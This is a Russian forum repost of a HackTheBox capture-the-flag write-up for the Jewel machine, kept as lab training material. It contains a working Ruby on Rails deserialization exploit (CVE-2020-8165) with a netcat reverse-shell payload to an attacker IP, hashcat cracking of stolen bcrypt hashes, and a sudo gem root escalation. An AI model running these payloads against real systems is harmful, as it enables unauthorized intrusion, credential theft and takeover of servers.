[Информационная безопасность, Ruby on Rails, CTF] HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem   
    
    
        
    
    
    
    
            
    
        
            
                
                                    
                
                                    
                
                    
                
            
        
    
    
        
            
                
                
                    
                           
                    
                        Автор 
                        Сообщение 
                    
                                        
                        
                            
                                
                                
                                                                                                            news_bot ®
                                                                        
                                                                                                                                                
                                                                            
                                                                                                                
                                            Стаж: 7 лет 8 месяцев                                        
                                                                                                                
                                            Сообщений: 27286                                        
                                                                                                                                                
                                                             
                            
                                
                             
                         
                        
                            
                                
                                    
                                        
                                        
 
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информацияОрганизационная информация Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:- PWN;- криптография (Crypto);- cетевые технологии (Network);- реверс (Reverse Engineering); - стеганография (Stegano);- поиск и эксплуатация WEB-уязвимостей;Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).ReconДанная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.
10.10.10.211    jewel.htb
Первым делом сканируем открытые порты. Я это делаю с помощью rustscan.
rustscan jewel.htb -- -A


Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.
 И мы имеем возможность зарегистрироваться и авторизоваться.
Entry PointКак оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails.



USERДавайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.
git clone https://github.com/masahiro331/CVE-2020-8165.git
gem install bundler:1.17.3
apt install sqlite3 libsqlite3-dev
bundle install --path vendor/bundle
bundle exec rails db:migrate
bundle exec rails console
Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.
code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
puts "Payload"
require 'uri'
puts URI.encode_www_form(payload: payload)

И находим форму отправки.
Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.
ROOTИ у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.
А там есть два хеша.
Брутим их и находим один пароль.
hashcat --example | grep -A2 -B2 '$2a'
 hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt
 hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.
Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem. sudo gem open -e "/bin/sh -c /bin/sh" rdoc
sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берем рута.
===========
 Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, Администрирование доменных имен, Законодательство в IT] ИБ-компании пожаловались на захват Facebook доменов для фишинг-тестов
 
- [Информационная безопасность, Системное администрирование, IT-инфраструктура, IT-компании] Яндекс рассказал о компрометации 4887 почтовых ящиков по вине сисадмина с высоким уровнем доступа
 
- [Информационная безопасность, Разработка веб-сайтов, PHP, Антивирусная защита] Невидимые символы, скрывающие веб-шелл в зловредном коде на PHP (перевод)
 
- [Информационная безопасность] ТОП-3 ИБ-событий недели по версии Jet CSIRT
 
- [Информационная безопасность, Социальные сети и сообщества] Instagram вводит вечные баны за оскорбительное поведение
 
- [Информационная безопасность, Криптография, Хранение данных] Пароль как крестраж: ещё один способ защитить свои учётные данные (перевод)
 
- [Информационная безопасность] В «Шереметьево» и «Домодедово» будут распознавать лица пассажиров вместо проверки паспорта
 
- [Информационная безопасность, Разработка игр, Игры и игровые приставки, IT-компании] Украденные данные CD Projekt Red проданы вне рамок аукциона
 
- [Информационная безопасность, Здоровье] Причина взлома очистных сооружений в США — один пароль TeamViewer на всех и отсутствие брандмауэра
 
- [Высокая производительность, Информационная безопасность, IT-инфраструктура, Серверное администрирование] АМА-сессия «Service mesh 2021» 17 февраля
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_ruby_on_rails, #_ctf, #_ralf_rt, #_red_team, #_red_teaming, #_pentest, #_pentesting, #_ctf, #_informatsionnaja_bezopasnost (информационная безопасность), #_kompjuternaja_bezopasnost (компьютерная безопасность), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_ruby_on_rails, #_ctf
                                        
                                        
                                        
                                     
                                    
                                    
                                                                    
                                                                                             
                         
                        
                            
                                                                    
                                                             
                         
                    
                    
                
                
            
        
    
    
    
    
    
            
    
            
    
        
    
    
        
                        Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
    
    
        
        Текущее время: 31-Окт 21:09
Часовой пояс: UTC + 5 
            
    
                
| Автор | Сообщение | 
|---|---|
| news_bot ® 
                                                                            
                                                                                                                
                                            Стаж: 7 лет 8 месяцев                                         | |
|  Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :) Организационная информацияОрганизационная информация Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:- PWN;- криптография (Crypto);- cетевые технологии (Network);- реверс (Reverse Engineering); - стеганография (Stegano);- поиск и эксплуатация WEB-уязвимостей;Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).ReconДанная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts. 10.10.10.211    jewel.htb rustscan jewel.htb -- -A   Порт 8080 отвечает за gitweb.   Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.  И мы имеем возможность зарегистрироваться и авторизоваться.  Entry PointКак оказалось, мы можем найти уже готовый готовый эксплоит для данной версии Ruby on Rails.     USERДавайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор. git clone https://github.com/masahiro331/CVE-2020-8165.git gem install bundler:1.17.3 apt install sqlite3 libsqlite3-dev bundle install --path vendor/bundle bundle exec rails db:migrate bundle exec rails console code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`' erb = ERB.allocate erb.instance_variable_set :@src, code erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result) puts "Payload" require 'uri' puts URI.encode_www_form(payload: payload)  И находим форму отправки.  Перехватываем запрос в Burp и подменяем имя пользователя.   И получаем бэкконнект.  ROOTИ у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo, в добавок к паролю.   Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.  А там есть два хеша.  Брутим их и находим один пароль. hashcat --example | grep -A2 -B2 '$2a'    hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt  Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.  Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.   И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.   sudo gem open -e "/bin/sh -c /bin/sh" rdoc  И мы берем рута. =========== Источник: habr.com =========== Похожие новости: 
 Информационная безопасность ), #_ruby_on_rails, #_ctf | |
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
    Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 31-Окт 21:09
Часовой пояс: UTC + 5 
